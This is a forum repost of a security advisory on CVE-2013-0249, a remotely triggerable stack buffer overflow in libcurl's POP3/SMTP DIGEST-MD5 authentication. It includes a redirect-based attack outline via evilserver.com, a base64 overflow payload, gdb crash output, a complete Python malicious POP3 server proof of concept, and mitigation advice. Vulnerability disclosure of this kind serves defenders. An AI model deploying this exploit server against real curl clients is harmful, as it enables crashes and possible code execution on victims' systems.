Praetorian503 Posted February 8, 2013 Report Posted February 8, 2013 A remotely exploitable buffer overflow vulnerability was discovered in the libcurl POP3 and SMTP protocol handlers. Proper exploitation can allow for arbitrary code execution.cURL buffer overflowWed 06 February 2013Volema found remotely exploitable buffer overflow vulnerability in libcurl POP3, SMTP protocol handlers which lead to code execution (RCE). When negotiating SASL DIGEST-MD5 authentication, the function Curl_sasl_create_digest_md5_message() uses the data provided from the server without doing the proper length checks and that data is then appended to a local fixed-size buffer on the stack.Vendor notified, CVE-2013-0249 relased.Attack Concept OutlineWe have the permissions to send custom HTTP requests with curl. We send request to our http://evilserver.com/GET / HTTP/1.0Host: evilserver.comserver answers withHTTP/1.0 302 FoundLocation: pop3://x:x@evilserver.com/."smart" curl interpretes redirect and connects to evilserver.com port 110/TCP using POP3 proto. Server answers+OK POP3 server readycurl sendsCAPAservers answers with DIGEST-MD5 only+OK List of capabilities followsSASL DIGEST-MD5IMPLEMENTATION dumbydumb POP3 serverso, libcurl has to sendAUTH DIGEST-MD5then server sends the payload+ cmVhbG09IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIixub25jZT0iT0E2TUc5dEVRR20yaGgiLHFvcD0iYXV0aCIsYWxnb3JpdGhtPW1kNS1zZXNzLGNoYXJzZXQ9dXRmLTg=and overflow happens because of fixed realm buffer sizerealm="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8how it looks in gdbProgram received signal SIGSEGV, Segmentation fault.0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6(gdb) bt#0 0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6#1 0x00007fd2b2a5cc07 in Curl_sasl_create_digest_md5_message () from /home/kyprizel/test/curl-7.28.1/lib/.libs/libcurl.so.4#2 0x4141414141414141 in ?? ()...#1469 0x4141414141414141 in ?? ()#1470 0x656d616e72657375 in ?? ()Cannot access memory at address 0x7fff63b8b000Original exploit: pop3d.py.#!/usr/bin/env python# -*- coding: utf-8 -*-# curl pop3 CVE-2013-0249 by Volema/MSLCimport socketimport base64host = "localhost"port = 110s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)s.bind((host, port))s.listen(5)sock, addr = s.accept()sock.send('+OK POP3 server ready\n')while True: buf = sock.recv(1024) print buf if buf.find('USER') > -1: sock.send('+OK\n') if buf.find('PASS') > -1: sock.send('-ERR 999\n') if buf.find('CAPA') > -1: resp = '+OK List of capabilities follows\n' resp += 'SASL DIGEST-MD5\n' resp += 'IMPLEMENTATION dumbydumb POP3 server\n' resp += '.\n' sock.send(resp) if buf.find('QUIT') > -1: sock.send('+OK') break if buf.find('AUTH') > -1: realm = 'A'*128 payload = 'realm="%s",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8' % realm resp = '+ '+base64.b64encode(payload)+'\n' print resp sock.send(resp)sock.close()MitigationWe recommend to disable protocols other than HTTP(S) in your application using options CURLOPT_PROTOCOLS and CURLOPT_REDIR_PROTOCOLS. libcurl version should be updated.Source: PacketStorm Quote
Nytro Posted February 8, 2013 Report Posted February 8, 2013 fixed realm buffer sizeDeloc profesional... Quote